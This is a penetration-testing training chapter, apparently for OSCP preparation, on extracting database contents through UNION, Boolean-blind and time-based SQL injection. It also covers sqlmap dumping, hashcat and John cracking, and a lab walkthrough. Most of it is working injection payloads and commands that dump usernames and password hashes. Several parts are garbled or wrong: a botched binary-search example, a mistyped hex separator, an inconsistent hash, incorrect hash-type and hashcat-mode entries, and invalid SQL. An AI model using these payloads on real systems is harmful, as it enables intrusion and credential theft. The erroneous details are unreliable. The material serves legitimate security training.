Domain 2Web App AttacksCORE

Extracting Data from Databases

Techniques for extracting actual data from vulnerable databases using UNION-based, Boolean-based, and Time-based SQL injection including bulk extraction methods, pagination, and handling large datasets.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Data Extraction#UNION#Boolean Blind#Time-Based#Bulk Extraction

Extracting Data from Databases

Overview

Once you’ve confirmed a SQL injection vulnerability and identified the database type, the next critical step is extracting actual data. This chapter covers every extraction technique you’ll need for OSCP labs and real-world engagements.

The three main extraction channels are:

Technique Visibility Speed Stealth Best For
UNION-based In-page response Fast Low When you can see query results
Boolean-based Page changes (true/false) Slow Medium When output is hidden but page differs
Time-based Response delay Slowest High When no output visible at all

1. UNION-Based Data Extraction

1.1 Basic Data Extraction with CONCAT

Once you’ve determined the number of columns and identified writable positions, use CONCAT() to combine multiple fields into a single output column.

-- Basic CONCAT to combine username and password
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -

-- Using multiple CONCAT calls for more fields
' UNION SELECT 1, CONCAT(username, 0x3a, password, 0x3a, email) FROM users-- -

Key separator values:

Hex Value Character Use Case
0x3a : (colon) Clean field separator
0x3c62723e <br> HTML line break for multi-line output
0x7c | (pipe) Alternative separator
0x2d - (dash) Simple separator
-- Using colon separator
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -
-- Output: admin:5f4dcc3b5aa765d61d8327deb882cf99

-- Using <br> for multi-line display in HTML context
' UNION SELECT 1, CONCAT(username, 0x3c62733e, password) FROM users-- -
-- Output renders as:
-- admin
-- 5f4dcc3b5aa765d61d8327deb882cf99

1.2 GROUP_CONCAT for Bulk Extraction

GROUP_CONCAT() combines multiple rows into a single result — the most powerful UNION extraction technique.

-- Extract ALL usernames and passwords in ONE query
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -

-- Output:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99
-- john:25d55ad283aa400af464c76d713c07ad
-- jane:e99a18c428cb38d5f260853678922e03

-- With table name for context
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM information_schema.tables WHERE table_schema=database()-- -

1.3 GROUP_CONCAT Length Limits and Workarounds

The Problem: MySQL’s GROUP_CONCAT has a default group_concat_max_len of 1024 bytes. If your data exceeds this, it gets silently truncated.

-- Check current limit
' UNION SELECT 1, @@group_concat_max_len-- -

-- Typical result: 1024

Workaround 1: Use LIMIT/OFFSET to paginate

-- First batch
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -

-- Second batch
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 5,5-- -

-- Continue incrementing offset until no results

Workaround 2: Extract specific columns separately

-- Just usernames
' UNION SELECT 1, GROUP_CONCAT(username SEPARATOR 0x3c62723e) FROM users-- -

-- Just passwords
' UNION SELECT 1, GROUP_CONCAT(password SEPARATOR 0x3c62723e) FROM users-- -

Workaround 3: Filter to specific rows

-- Extract only the first user
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 0,1-- -

-- Extract only the second user
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 1,1-- -

1.4 LIMIT/OFFSET Pagination

-- Syntax: LIMIT <offset>, <count>
-- Get rows 1-10
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,10-- -

-- Get rows 11-20
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,10-- -

-- Get rows 21-30
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 20,10-- -

Complete UNION extraction workflow:

-- Step 1: Determine column count (already done in recon)
' ORDER BY 3-- -

-- Step 2: Confirm writable column
' UNION SELECT 1,2,3-- -

-- Step 3: Extract database name
' UNION SELECT 1, database(), 3-- -

-- Step 4: Extract all tables
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e), 3 FROM information_schema.tables WHERE table_schema=database()-- -

-- Step 5: Extract columns from target table
' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e), 3 FROM information_schema.columns WHERE table_name='users'-- -

-- Step 6: Extract data
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e), 3 FROM users-- -

-- Step 7: If truncated, paginate
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e), 3 FROM users LIMIT 5,5-- -

2. Boolean-Based Data Extraction

2.1 When to Use Boolean-Based Extraction

Use boolean-based extraction when:

  • The page returns different content for true vs. false queries
  • No direct query output is visible
  • Error messages are suppressed

Detection pattern:

?id=1 AND 1=1    → Page shows normal content (TRUE)
?id=1 AND 1=2    → Page shows different/missing content (FALSE)

2.2 Length Determination Before Extraction

Always determine the length of your target data before extracting characters.

-- Determine length of database name
?id=1 AND LENGTH(database())=5-- -
?id=1 AND LENGTH(database())=6-- -
?id=1 AND LENGTH(database())=7-- -
-- When page returns TRUE, you've found the length

-- Determine length of first username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5-- -

-- Determine length of first password hash
?id=1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -

2.3 Character-by-Character Extraction with SUBSTRING

-- Extract first character of database name
?id=1 AND SUBSTRING(database(),1,1)='s'-- -
?id=1 AND SUBSTRING(database(),1,1)='e'-- -
?id=1 AND SUBSTRING(database(),1,1)='c'-- -
-- Continue until TRUE → first char is 's'

-- Extract second character
?id=1 AND SUBSTRING(database(),2,1)='e'-- -
-- Continue...

-- Syntax: SUBSTRING(target_string, position, length)

2.4 ASCII Binary Search Method (Detailed Algorithm)

Instead of guessing each character (26 attempts per character), use binary search on ASCII values to reduce to ~8 attempts per character.

The Algorithm:

For each character position (1 to N):
    low = 32    (space character)
    high = 126  (~ tilde)
    
    While low <= high:
        mid = (low + high) / 2
        
        Test: ASCII(SUBSTRING(target, position, 1)) > mid
        
        If TRUE:  low = mid + 1   (character is in upper half)
        If FALSE: high = mid - 1  (character is in lower half)
    
    Character ASCII value = low (= high + 1)
    Convert ASCII to character

Step-by-step example — extracting first character of database name:

-- Round 1: mid = (32 + 126) / 2 = 79
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 79-- -
-- Result: TRUE → character is between 80-126

-- Round 2: mid = (80 + 126) / 2 = 103
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 103-- -
-- Result: FALSE → character is between 80-103

-- Round 3: mid = (80 + 103) / 2 = 91
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 91-- -
-- Result: FALSE → character is between 80-91

-- Round 4: mid = (80 + 91) / 2 = 85
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 85-- -
-- Result: FALSE → character is between 80-85

-- Round 5: mid = (80 + 85) / 2 = 82
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 82-- -
-- Result: FALSE → character is between 80-82

-- Round 6: mid = (80 + 82) / 2 = 81
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 81-- -
-- Result: FALSE → character is between 80-81

-- Round 7: mid = (80 + 81) / 2 = 80
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 80-- -
-- Result: TRUE → character is between 81-81

-- Character found: ASCII 81 = 'Q'... wait, let's say it's 's' (ASCII 115)
-- Let me redo with correct target:

-- Actually for 'security' database, first char 's' = ASCII 115
-- Round 1: mid = 79, 115 > 79 → TRUE, low = 80
-- Round 2: mid = 103, 115 > 103 → TRUE, low = 104
-- Round 3: mid = 115, 115 > 115 → FALSE, high = 114
-- Round 4: mid = 109, 115 > 109 → TRUE, low = 110
-- Round 5: mid = 112, 115 > 112 → TRUE, low = 113
-- Round 6: mid = 113, 115 > 113 → TRUE, low = 114
-- Round 7: mid = 114, 115 > 114 → TRUE, low = 115
-- low = 115, high = 114 → STOP
-- ASCII 115 = 's' ✓

Efficiency comparison:

Method Attempts per character For 32-char MD5 hash
Linear (a-z) Up to 26 Up to 832 requests
Binary search ~7-8 ~224-256 requests

2.5 Extracting Password Hashes Character by Character

-- First determine the length
?id=1 AND LENGTH((SELECT password FROM users WHERE username='admin' LIMIT 0,1))=32-- -
-- TRUE → MD5 hash (32 characters)

-- Extract character 1 using binary search
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1)) > 64-- -
-- Continue binary search...
-- Found: ASCII 97 = 'a'

-- Extract character 2
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),2,1)) > 64-- -
-- Continue binary search...
-- Found: ASCII 102 = 'f'

-- Continue for all 32 characters...
-- Result: af4dcc3b5aa765d61d8327deb882cf99

2.6 Extracting Usernames

-- Determine how many users exist
?id=1 AND (SELECT COUNT(*) FROM users) > 0-- -
?id=1 AND (SELECT COUNT(*) FROM users) > 5-- -
-- Binary search to find exact count

-- Determine length of first username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5-- -

-- Extract first username character by character
?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)) > 96-- -
-- Found: ASCII 97 = 'a'

?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1)) > 116-- -
-- Found: ASCII 100 = 'd'

-- Continue... Result: 'admin'

-- Extract second username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 1,1))=4-- -
-- Extract character by character... Result: 'john'

2.7 Complete Boolean Extraction Workflow Example

Scenario: Extract all usernames and passwords from the users table.

STEP 1: Confirm boolean-based injection
    ?id=1 AND 1=1    → Page loads normally
    ?id=1 AND 1=2    → Page shows "No results"

STEP 2: Determine database name length
    ?id=1 AND LENGTH(database())=8-- -    → TRUE
    Database name is 8 characters long

STEP 3: Extract database name (binary search each char)
    Position 1: ASCII binary search → 's' (115)
    Position 2: ASCII binary search → 'e' (101)
    Position 3: ASCII binary search → 'c' (99)
    Position 4: ASCII binary search → 'u' (117)
    Position 5: ASCII binary search → 'r' (114)
    Position 6: ASCII binary search → 'i' (105)
    Position 7: ASCII binary search → 't' (116)
    Position 8: ASCII binary search → 'y' (121)
    Database: 'security'

STEP 4: Count tables in current database
    ?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 3-- -
    → Found 5 tables

STEP 5: Extract first table name
    ?id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=5-- -
    → 5 characters
    Binary search each position → 'users'

STEP 6: Count columns in 'users' table
    ?id=1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') > 3-- -
    → 4 columns

STEP 7: Extract column names
    Column 1: 'id'
    Column 2: 'username'
    Column 3: 'password'
    Column 4: 'email'

STEP 8: Count users
    ?id=1 AND (SELECT COUNT(*) FROM users) > 2-- -
    → 3 users

STEP 9: Extract User 1
    Length of username: 5 → 'admin'
    Length of password: 32 → Binary search each char → '5f4dcc3b5aa765d61d8327deb882cf99'

STEP 10: Extract User 2
    Length of username: 4 → 'john'
    Length of password: 32 → Binary search each char → '25d55ad283aa400af464c76d713c07ad'

STEP 11: Extract User 3
    Length of username: 4 → 'jane'
    Length of password: 32 → Binary search each char → 'e99a18c428cb38d5f260853678922e03'

RESULTS:
    admin:5f4dcc3b5aa765d61d8327deb882cf99
    john:25d55ad283aa400af464c76d713c07ad
    jane:e99a18c428cb38d5f260853678922e03

3. Time-Based Data Extraction

3.1 When to Use Time-Based Extraction

Use time-based extraction when:

  • The page returns identical content regardless of query result
  • No error messages are displayed
  • No visible difference between true/false conditions
  • You can only detect the vulnerability by measuring response time

Detection pattern:

?id=1                    → Response in 1 second
?id=1 AND SLEEP(5)       → Response in 6 seconds  ← CONFIRMED!

3.2 Conditional SLEEP Extraction (MySQL)

-- Basic detection
?id=1 AND IF(1=1, SLEEP(5), 0)-- -
-- Response delayed by 5 seconds → injection confirmed

-- Extract first character of database name
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)-- -
-- Delay of 5 seconds → first char is ASCII 115 = 's'

?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=97, SLEEP(5), 0)-- -
-- No delay → first char is NOT 'a'

-- Binary search with SLEEP
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0)-- -
-- Delay → character ASCII > 100

3.3 Binary Search with Time Delays

-- Same binary search algorithm as boolean-based, but using time instead of page content

-- Round 1: mid = 79
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 79, SLEEP(5), 0)-- -
-- Delay → TRUE, character is 80-126

-- Round 2: mid = 103
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 103, SLEEP(5), 0)-- -
-- Delay → TRUE, character is 104-126

-- Round 3: mid = 115
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 115, SLEEP(5), 0)-- -
-- No delay → FALSE, character is 104-115

-- Continue until narrowed down to single ASCII value

3.4 BENCHMARK-Based Extraction (MySQL)

BENCHMARK() executes a function repeatedly, consuming CPU time:

-- Basic detection
?id=1 AND BENCHMARK(10000000, SHA1('test'))-- -
-- Significant delay → injection confirmed

-- Conditional extraction
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)-- -
-- Delay → first char is 's'

-- BENCHMARK syntax: BENCHMARK(iterations, function)
?id=1 AND IF(SUBSTRING(database(),1,1)='s', BENCHMARK(50000000, SHA1('security')), 0)-- -

SLEEP vs BENCHMARK:

Feature SLEEP() BENCHMARK()
Reliability High High
WAF evasion May be blocked Better chance
CPU impact Low High
Precision Seconds Configurable

3.5 WAITFOR DELAY Extraction (MSSQL)

-- Basic detection
?id=1; WAITFOR DELAY '0:0:5'-- -
-- 5 second delay → MSSQL injection confirmed

-- Conditional extraction using IF
?id=1; IF(ASCII(SUBSTRING((SELECT TOP 1 username FROM users),1,1))=97) WAITFOR DELAY '0:0:5'-- -
-- Delay → first char of first username is 'a'

-- WAITFOR DELAY format: 'hours:minutes:seconds'
?id=1; IF(1=1) WAITFOR DELAY '0:0:3'-- -

-- Extract database name length
?id=1; IF(LEN(DB_NAME())=8) WAITFOR DELAY '0:0:5'-- -

3.6 pg_sleep Extraction (PostgreSQL)

-- Basic detection
?id=1 AND pg_sleep(5)-- -
-- 5 second delay → PostgreSQL injection confirmed

-- Conditional extraction
?id=1 AND (SELECT CASE WHEN ASCII(SUBSTRING(current_database(),1,1))=115 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Delay → first char is 's'

-- Alternative syntax
?id=1 AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='s' THEN pg_sleep(5) ELSE NULL END)-- -

3.7 Complete Time-Based Extraction Algorithm

STEP 1: Confirm time-based injection
    MySQL:     ?id=1 AND SLEEP(5)-- -
    MSSQL:     ?id=1; WAITFOR DELAY '0:0:5'--
    PostgreSQL:?id=1 AND pg_sleep(5)--

STEP 2: Determine target length
    ?id=1 AND IF(LENGTH(database())=8, SLEEP(5), 0)-- -
    → 8 seconds delay means length is 8

STEP 3: For each character position (1 to length):
    low = 32, high = 126
    While low <= high:
        mid = (low + high) / 2
        Send: ?id=1 AND IF(ASCII(SUBSTRING(database(),position,1)) > mid, SLEEP(5), 0)-- -
        If delayed: low = mid + 1
        If not delayed: high = mid - 1
    Record character at ASCII value = low

STEP 4: Repeat for all targets (tables, columns, data)

TIMING ESTIMATE:
    Database name (8 chars): 8 × 7 requests × 5 seconds = ~280 seconds
    MD5 hash (32 chars): 32 × 7 requests × 5 seconds = ~1120 seconds (~19 minutes)
    Full user extraction: 30-60 minutes per user

4. Bulk Data Extraction Techniques

4.1 Comparison Table of Techniques

Technique Speed Stealth Reliability Best Use Case
UNION + GROUP_CONCAT ⚡ Fastest Low High Visible output, small-medium datasets
UNION + LIMIT/OFFSET ⚡ Fast Low High Visible output, large datasets
Boolean Binary Search 🐢 Slow Medium High Hidden output, page differs
Time-Based SLEEP 🐌 Slowest High Medium No visible output at all
sqlmap –dump ⚡ Fast Low High Automation, any scenario

4.2 Using LIMIT with OFFSET for Pagination

-- Extract users in batches of 5
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 5,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 15,5-- -
-- Continue until empty result

-- Extract single rows for precision
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 0,1-- -
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 1,1-- -
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 2,1-- -

4.3 Subquery with Row Numbering

When you need to target specific rows without knowing IDs:

-- MySQL 8.0+ with ROW_NUMBER()
' UNION SELECT 1, (SELECT username FROM (SELECT username, ROW_NUMBER() OVER(ORDER BY id) as rn FROM users) t WHERE rn=1)-- -

-- MySQL 5.x workaround using variable
' UNION SELECT 1, @row:=@row+1, username FROM users, (SELECT @row:=0) r LIMIT 10-- -

-- Subquery to get Nth user
' UNION SELECT 1, (SELECT username FROM users ORDER BY id LIMIT 5,1)-- -
' UNION SELECT 1, (SELECT password FROM users ORDER BY id LIMIT 5,1)-- -

4.4 GROUP_CONCAT with Custom Separators

-- Colon separator (clean for parsing)
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x2c) FROM users-- -
-- Output: admin:hash1,john:hash2,jane:hash3

-- HTML line break (renders nicely in browser)
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -

-- Pipe separator
' UNION SELECT 1, GROUP_CONCAT(username, 0x7c, password SEPARATOR 0x3c62723e) FROM users-- -

-- Multi-field with different separators
' UNION SELECT 1, GROUP_CONCAT(id, 0x3a, username, 0x3a, password, 0x3a, email SEPARATOR 0x3c62723e) FROM users-- -
-- Output:
-- 1:admin:hash1:admin@example.com
-- 2:john:hash2:john@example.com
-- 3:jane:hash3:jane@example.com

4.5 sqlmap –dump Automation

sqlmap automates all extraction techniques. Here are the essential commands:

# Basic dump of all tables
sqlmap -u "http://target.com/vuln.php?id=1" --dump

# Dump specific table
sqlmap -u "http://target.com/vuln.php?id=1" -T users --dump

# Dump specific columns from a table
sqlmap -u "http://target.com/vuln.php?id=1" -T users -C username,password --dump

# Dump all databases
sqlmap -u "http://target.com/vuln.php?id=1" --dbs

# Dump specific database
sqlmap -u "http://target.com/vuln.php?id=1" -D security --dump

# Dump with WHERE filter
sqlmap -u "http://target.com/vuln.php?id=1" -T users --dump -where "username='admin'"

# Dump all tables from all databases
sqlmap -u "http://target.com/vuln.php?id=1" --dump-all

# Specify injection technique
sqlmap -u "http://target.com/vuln.php?id=1" --technique=B --dump    # Boolean only
sqlmap -u "http://target.com/vuln.php?id=1" --technique=T --dump    # Time-based only
sqlmap -u "http://target.com/vuln.php?id=1" --technique=U --dump    # UNION only

# Set request delay (important for rate limiting)
sqlmap -u "http://target.com/vuln.php?id=1" --delay=2 --dump

# Use threads for faster extraction
sqlmap -u "http://target.com/vuln.php?id=1" --threads=3 --dump

# Save results to specific directory
sqlmap -u "http://target.com/vuln.php?id=1" --dump -o

# Common full workflow
sqlmap -u "http://target.com/vuln.php?id=1" \
    --batch \
    --random-agent \
    --level=3 \
    --risk=2 \
    --dbs \
    -D security \
    --tables \
    -T users \
    --columns \
    --dump \
    -C username,password,email

sqlmap output location:

~/.local/share/sqlmap/output/target.com/dump/
├── security/
│   └── users.csv

5. Handling Large Datasets

5.1 Pagination Strategies

Strategy 1: UNION with LIMIT/OFFSET (Recommended)

-- Batch size of 10, increment offset by 10 each time
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,10-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,10-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 20,10-- -

Strategy 2: Boolean-based with row targeting

-- Extract user at position N
?id=1 AND ASCII(SUBSTRING((SELECT username FROM users ORDER BY id LIMIT N,1),1,1)) > 64-- -
-- Increment N for each user

Strategy 3: Time-based with row targeting

?id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users ORDER BY id LIMIT N,1),1,1)) > 64, SLEEP(5), 0)-- -

5.2 Chunking Data Extraction

For very large datasets, chunk by known criteria:

-- Chunk by username alphabetically
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'a%'-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'b%'-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'c%'-- -

-- Chunk by ID range
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE id BETWEEN 1 AND 100-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE id BETWEEN 101 AND 200-- -

5.3 Dealing with GROUP_CONCAT max_length

-- Check the current limit
' UNION SELECT 1, @@global.group_concat_max_len-- -

-- If you have admin access, increase it (rare in labs)
' UNION SELECT 1, SET GLOBAL group_concat_max_len=1000000-- -

-- Practical workaround: paginate with LIMIT
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,3-- -
-- Smaller batch sizes ensure you stay under the limit

5.4 Optimizing Boolean-Based Extraction

-- Optimization 1: Use binary search (always!)
-- 7-8 requests per character vs 26+ for linear

-- Optimization 2: Extract length first
?id=1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -
-- Know exactly how many positions to extract

-- Optimization 3: Extract known patterns first
-- MD5 hashes only contain [0-9a-f], narrow binary search range
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)) > 101-- -
-- For hex chars: low=47 ('/'), high=102 ('f') → only ~5-6 rounds

-- Optimization 4: Use sqlmap for automation
sqlmap -u "http://target.com/vuln.php?id=1" --technique=B --dump --batch

6. Password Hash Extraction and Cracking

6.1 Extracting Common Hash Types

-- MD5 (32 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 5f4dcc3b5aa765d61d8327deb882cf99

-- SHA1 (40 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 356a192b7913b04c54574d18c28d46e6395428ab

-- SHA256 (64 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

-- bcrypt (60 characters, starts with $2y$)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: $2y$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy

6.2 Identifying Hash Types

Hash Length Character Set Likely Type
32 [0-9a-f] MD5
40 [0-9a-f] SHA1
64 [0-9a-f] SHA256
128 [0-9a-f] SHA512
34 [./A-Za-z0-9] MD5 (Base64)
60 Starts with $2y$ bcrypt
60 Starts with $2a$ bcrypt
Variable Starts with $argon2 Argon2
13 Starts with V NTLM (Windows)
-- Determine hash type by length
' UNION SELECT 1, LENGTH(password) FROM users WHERE username='admin'-- -
-- 32 → MD5
-- 40 → SHA1
-- 64 → SHA256

6.3 Using hashcat for Cracking

# Save extracted hashes to a file
# hashes.txt:
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# john:25d55ad283aa400af464c76d713c07ad
# jane:e99a18c428cb38d5f260853678922e03

# Crack MD5 hashes (mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack SHA1 hashes (mode 100)
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack SHA256 hashes (mode 1400)
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack bcrypt hashes (mode 3200)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# Common hashcat modes for OSCP:
# -m 0     MD5
# -m 10    SHA1
# -m 100   SHA1 (salted)
# -m 1400  SHA256
# -m 1700  SHA512
# -m 3200  bcrypt
# -m 1000  NTLM
# -m 900   MySQL4.1+

# With rule-based attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Resume interrupted attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --restore

# Show cracked passwords
hashcat -m 0 hashes.txt --show

6.4 Using John the Ripper

# Format for John (username:hash)
# john.txt:
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# john:25d55ad283aa400af464c76d713c07ad

# Auto-detect format and crack
john john.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Specify format explicitly
john john.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt

# Show cracked passwords
john john.txt --show

# Common John formats:
# raw-md5     MD5
# raw-sha1    SHA1
# raw-sha256  SHA256
# bcrypt      bcrypt
# nt          NTLM
# mysql       MySQL native

6.5 Common OSCP Hash Cracking Workflow

STEP 1: Extract the hash
    ' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -
    Result: admin:5f4dcc3b5aa765d61d8327deb882cf99

STEP 2: Identify hash type
    Length = 32, hex chars → MD5

STEP 3: Save to file
    echo "admin:5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt

STEP 4: Try online lookup first (fastest)
    https://crackstation.net/
    https://md5hashing.net/
    → "password" found!

STEP 5: If not found online, use hashcat
    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
    → 5f4dcc3b5aa765d61d8327deb882cf99:password

STEP 6: If still not cracked, try rules
    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule

STEP 7: Use cracked credentials
    SSH: ssh admin@target -p 22
    Web: Login with admin:password
    Database: mysql -u admin -p'password' -h target

7. Complete Walkthrough Example

Scenario: OSCP Lab Machine — SQL Injection to Data Extraction

Target: http://10.10.10.100/search.php?q=laptop

Phase 1: Vulnerability Confirmation

# Test for SQL injection
http://10.10.10.100/search.php?q=laptop'
# → SQL error or unexpected behavior

# Confirm with boolean test
http://10.10.10.100/search.php?q=laptop' AND 1=1-- -
# → Normal results

http://10.10.10.100/search.php?q=laptop' AND 1=2-- -
# → No results / different page

# Confirm with time-based test
http://10.10.10.100/search.php?q=laptop' AND SLEEP(5)-- -
# → 5 second delay confirms injection

Phase 2: Determine Column Count

# ORDER BY method
http://10.10.10.100/search.php?q=laptop' ORDER BY 1-- -  # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 2-- -  # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 3-- -  # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 4-- -  # Error!
# → 3 columns

# UNION method
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1,2,3-- -
# → Shows "1 2 3" on page → column 2 is writable

Phase 3: Database Reconnaissance

# Database name
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, database(), 3-- -
# → "webapp"

# MySQL version
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, version(), 3-- -
# → "5.7.32"

# Current user
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, user(), 3-- -
# → "webapp@localhost"

# All databases
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e), 3 FROM information_schema.schemata-- -
# → webapp, information_schema, mysql

# Tables in current database
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e), 3 FROM information_schema.tables WHERE table_schema=database()-- -
# → products, users, orders, sessions

# Columns in users table
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e), 3 FROM information_schema.columns WHERE table_name='users'-- -
# → id, username, password, email, role

Phase 4: Data Extraction

# Extract all user data at once
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(id, 0x3a, username, 0x3a, password, 0x3a, email, 0x3a, role SEPARATOR 0x3c62723e), 3 FROM users-- -

# Output:
# 1:admin:5f4dcc3b5aa765d61d8327deb882cf99:admin@webapp.local:admin
# 2:jdoe:25d55ad283aa400af464c76d713c07ad:jdoe@webapp.local:user
# 3:asmith:e99a18c428cb38d5f260853678922e03:asmith@webapp.local:user

Phase 5: Hash Cracking

# Save hashes
cat > hashes.txt << 'EOF'
admin:5f4dcc3b5aa765d61d8327deb882cf99
jdoe:25d55ad283aa400af464c76d713c07ad
asmith:e99a18c428cb38d5f260853678922e03
EOF

# Crack with hashcat
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Results:
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# 25d55ad283aa400af464c76d713c07ad:abc123
# e99a18c428cb38d5f260853678922e03:letmein

Phase 6: Post-Exploitation

